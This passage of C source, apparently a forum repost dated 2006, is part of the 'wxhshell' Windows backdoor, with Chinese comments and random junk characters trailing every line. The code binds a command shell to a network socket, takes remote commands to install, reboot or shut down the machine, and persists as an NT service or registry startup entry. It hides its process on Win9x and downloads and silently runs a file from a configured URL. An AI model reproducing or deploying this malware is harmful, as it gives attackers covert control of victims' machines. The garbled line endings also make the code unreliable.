  // 帮助 ExXM:1 e26  
  case '?': { _uu<4c   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); cj|*_}  
    break; u%dKig  
  } NO K/<_/  
  // 安装 HFQR ;9]  
  case 'i': { rJ'I>Q~x6  
    if(Install()) o:dR5v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (5Tvsw`  
    else }^K/?dM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }T0K^Oe+eS  
    break; p(m1O70 C  
    } qy!Ou3^  
  // 卸载 YIp-Y}6  
  case 'r': { FM5e+$>@  
    if(Uninstall())  ql&*6KZ"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i_LF`JhEQT  
    else W:VP1 :  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xaKst p  
    break; >Dg#9  
    } =`C4qC _  
  // 显示 wxhshell 所在路径 DV]7.Bm  
  case 'p': { l??;3kh1  
    char svExeFile[MAX_PATH]; |__=d+M'  
    strcpy(svExeFile,"\n\r"); QldzQ%4c\  
      strcat(svExeFile,ExeFile); d( *fy}  
        send(wsh,svExeFile,strlen(svExeFile),0); Ei@M$Fd  
    break; I5);jgb  
    } FkupO I  
  // 重启 AdoZs8Q  
  case 'b': { w, jcm;  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); D~&Mwsi  
    if(Boot(REBOOT)) iY/KSX^~O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dow^*{fqZ  
    else { } i)$n(A)K  
    closesocket(wsh); gglQU"=g{  
    ExitThread(0); dj[apuiF  
    } 4*UP. r@  
    break; *Wb=WM-.  
    } oeL5}U6>g  
  // 关机 w3D]~&]  
  case 'd': { ;ggy5?>Qu  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); x@cN3O  
    if(Boot(SHUTDOWN)) K,}w]b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~%|G+m>  
    else { xQlT%X;'  
    closesocket(wsh); H.J5i~s  
    ExitThread(0); ?&h3P8  
    } mg+k'Myo+  
    break; ~HUZ#rUHm>  
    } 9 K  
  // 获取shell )3muPMaY  
  case 's': { $ A-b vL  
    CmdShell(wsh); F}rPY:  
    closesocket(wsh); kJ: 2;t=  
    ExitThread(0); ZAg;q#z j  
    break; 3On JWuVfZ  
  } q:HoKJv4  
  // 退出 Ew^ @Aq  
  case 'x': { dNV v4{S  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); dTD5(}+J  
    CloseIt(wsh); qq+MBW*  
    break; $-@$i`Kf/  
    } CYB=Uq,  
  // 离开 K:qOoY  
  case 'q': { bEr.nF  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); iTNqWU-o  
    closesocket(wsh); }w!ps{*  
    WSACleanup(); ":d*dl  
    exit(1); jgvh[@uB?  
    break; :?r*p>0$  
        } (@ea|Fd#4  
  } g^o_\ hp  
  } H$-$2?5  
1BD6 l2y  
  // 提示信息 + >sci  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VvgN3e[  
} 2%]hYr;  
  } ^[M~K5Y  
hrM"Zg  
  return; 5(}H ?  
} d7bjbJwu  
= ?N^>zie  
// shell模块句柄 D$_8rHc\A  
int CmdShell(SOCKET sock) &R\XUxI  
{ 6hbEO-(  
STARTUPINFO si; C"T ,MH  
ZeroMemory(&si,sizeof(si)); '}O!2W&Y]%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6dT|;koWbm  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?\yB)Nd y  
PROCESS_INFORMATION ProcessInfo; \!X?zR_  
char cmdline[]="cmd"; j3 P RAe  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Rx. rj~  
  return 0; WX*cICb5  
} mvf _@2^  
hrlCKL&  
// 自身启动模式 R;=6VH  
int StartFromService(void) 8D~Dd!~P  
{ &y3B)#dIJ  
typedef struct  $o+&Y5:  
{ `p"U  
  DWORD ExitStatus; dx359  
  DWORD PebBaseAddress; x9*ys;~w  
  DWORD AffinityMask;  g@(30{  
  DWORD BasePriority; CB@B.)E  
  ULONG UniqueProcessId; |,fh)vO  
  ULONG InheritedFromUniqueProcessId; By/bVZks  
}   PROCESS_BASIC_INFORMATION; U3q5^{0d/  
byj[u!{  
PROCNTQSIP NtQueryInformationProcess; z`9l<Q/  
{dZ8;Fy4  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9XN~Ln@}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; lIy/;hIc  
cJ4S!  
  HANDLE             hProcess; )K.R\]XR  
  PROCESS_BASIC_INFORMATION pbi; CI1m5g [P  
S^g]:Xh&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Fr/QW7B5  
  if(NULL == hInst ) return 0; xDe47&qKM  
]EX--d<_`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7+] F^ 6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B=x~L  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); T.euoFU{Z  
"w1(g=n  
  if (!NtQueryInformationProcess) return 0; XkoWL  
,yi2O]5e>!  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); vcD'~)G(*  
  if(!hProcess) return 0; g&aT!%QvX+  
W,'3D~g8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 'h:!m/1  
(jneEo=vr  
  CloseHandle(hProcess); :dbV2'vIQ  
B(E tXB9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); v7$9QVze  
if(hProcess==NULL) return 0; ^AH-+#5  
wO\!xW:  
HMODULE hMod; W)  
char procName[255]; <VgE39 [  
unsigned long cbNeeded;  XDvq7ZD  
,9$>d}N  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); K \m4*dOv  
6NKF'zh  
  CloseHandle(hProcess); >|S>J+(  
V?WMj $l<  
if(strstr(procName,"services")) return 1; // 以服务启动 gNi}EP5>  
:Q#H(\26r  
  return 0; // 注册表启动 \Em-.%c  
} DwC@"i.  
F_~6n]Sr  
// 主模块 5lG|A6+w{  
int StartWxhshell(LPSTR lpCmdLine) A&?WP\_z  
{ O^Dc&w  
  SOCKET wsl; \Qb>:  
BOOL val=TRUE; $/y%[ .  
  int port=0; 7@\GU]. 2  
  struct sockaddr_in door; #s/{u RYQ  
hG[4O3jo\  
  if(wscfg.ws_autoins) Install(); f#2#g%x  
Hm<M@M$aG  
port=atoi(lpCmdLine); -<12~HKK::  
gtl;P_  
if(port<=0) port=wscfg.ws_port; aSxG|OkKy  
5]Z]j[8Y  
  WSADATA data; z4 nou>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; olslzXn7o  
&?fvt  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   c[6zX#{`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); lP-kZA!  
  door.sin_family = AF_INET; orK+B4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); U0ns3LirP  
  door.sin_port = htons(port); .2{6h  
Y# .6d  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { G-ZrM  
closesocket(wsl); V=Ww>  
return 1; +,:nm_kQU  
} W=!F8g|Qz  
sL;z"N@PK  
  if(listen(wsl,2) == INVALID_SOCKET) { Ig='a"%  
closesocket(wsl); Fj36K6!#?  
return 1; oa?!50d  
} `mQP{od?"?  
  Wxhshell(wsl); z1)$  
  WSACleanup(); ;N9n'Sq4  
QGu7D #%|  
return 0; {: Am9B  
DHSU?o#jY  
} `mh-pBVD1  
y_;]=hEL  
// 以NT服务方式启动 ,7WK<0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) X=-gAutfE=  
{ )<m=YI ;<  
DWORD   status = 0; d8VWi*  
  DWORD   specificError = 0xfffffff; \fkS_r,i  
:%+^}   
  serviceStatus.dwServiceType     = SERVICE_WIN32; dVjcK/T<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `ja`#%^\u  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .eZPp~[lAN  
  serviceStatus.dwWin32ExitCode     = 0;  3J'Bm"  
  serviceStatus.dwServiceSpecificExitCode = 0; B Lsdx }  
  serviceStatus.dwCheckPoint       = 0; iqc4O /  
  serviceStatus.dwWaitHint       = 0; |*/uN~[  
?[a7l:3-[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~5XL@jI^  
  if (hServiceStatusHandle==0) return; . x\/XlM  
G!> iqG  
status = GetLastError(); (25^r  
  if (status!=NO_ERROR) KqG/a  
{ zyQ,unu  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8iII) +  
    serviceStatus.dwCheckPoint       = 0; E.WNykF-  
    serviceStatus.dwWaitHint       = 0; u(TgWp5WF  
    serviceStatus.dwWin32ExitCode     = status; QI :/,w  
    serviceStatus.dwServiceSpecificExitCode = specificError; M+;!]tbc3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5 O{Ip-  
    return; ePPp)=  
  } Q KDb  
h>mBkJ {  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8as$h*W h  
  serviceStatus.dwCheckPoint       = 0; uHujw.H/y  
  serviceStatus.dwWaitHint       = 0; "`V"2zZlj  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !)l%EJngL  
} nEa'e5 lg  
m,"cbJ /  
// 处理NT服务事件,比如:启动、停止 nf+"vr}1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +Y>cBSO  
{ NXV~[  
switch(fdwControl) yC&b-y  
{ ~8n~4  
case SERVICE_CONTROL_STOP: eaZ)1od  
  serviceStatus.dwWin32ExitCode = 0; ] _]6&PZXk  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -h^} jP8  
  serviceStatus.dwCheckPoint   = 0; =4w^)'/  
  serviceStatus.dwWaitHint     = 0; CoKj'jA  
  { B[U.CAUn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ? A^3.`  
  } :g]HB ,78  
  return; }fa%JN %E  
case SERVICE_CONTROL_PAUSE: n79DS(t  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; g)zn.]  
  break; eA~_)-Z-  
case SERVICE_CONTROL_CONTINUE: eiNk]KXAYX  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; h#6 jUQ  
  break; NIXcib"tG  
case SERVICE_CONTROL_INTERROGATE: c?3F9 w#  
  break; VgC9'"|  
}; [gg 7Z|Hu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?'8MI|*l%  
} VEdnP+D  
b\e)PUm#u@  
// 标准应用程序主函数 T\$^>@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) g`f6gxc  
{ `QyALcO   
0z<]\a4  
// 获取操作系统版本 4|o{_g[  
OsIsNt=GetOsVer(); ~sU! 1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); w _6Y+  
piM11W}|/  
  // 从命令行安装 Xk9r"RmiOb  
  if(strpbrk(lpCmdLine,"iI")) Install(); %`uRUex  
V2sB[Mw  
  // 下载执行文件 ^zluO   
if(wscfg.ws_downexe) { Xe^=(| M  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JI#Enh!Lv  
  WinExec(wscfg.ws_filenam,SW_HIDE); a^)4q\E  
} ]bU'G$Qm&s  
i:N^:%  
if(!OsIsNt) { QIz N# ;g  
// 如果时win9x,隐藏进程并且设置为注册表启动 CFrHNU  
HideProc(); ah$7 Oudj  
StartWxhshell(lpCmdLine); EvardUB)  
} / ~\ I  
else F=qG +T  
  if(StartFromService()) w$2Z7S  
  // 以服务方式启动 =OUms@xcE  
  StartServiceCtrlDispatcher(DispatchTable); XX:?7:j}[8  
else 8M DX()Bm  
  // 普通方式启动 /l)|B  
  StartWxhshell(lpCmdLine); c%bGVRhE  
w.2[Xx~  
return 0; 4EZl (v"f`  
}
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只看该作者 1 发表于: 2006-10-10
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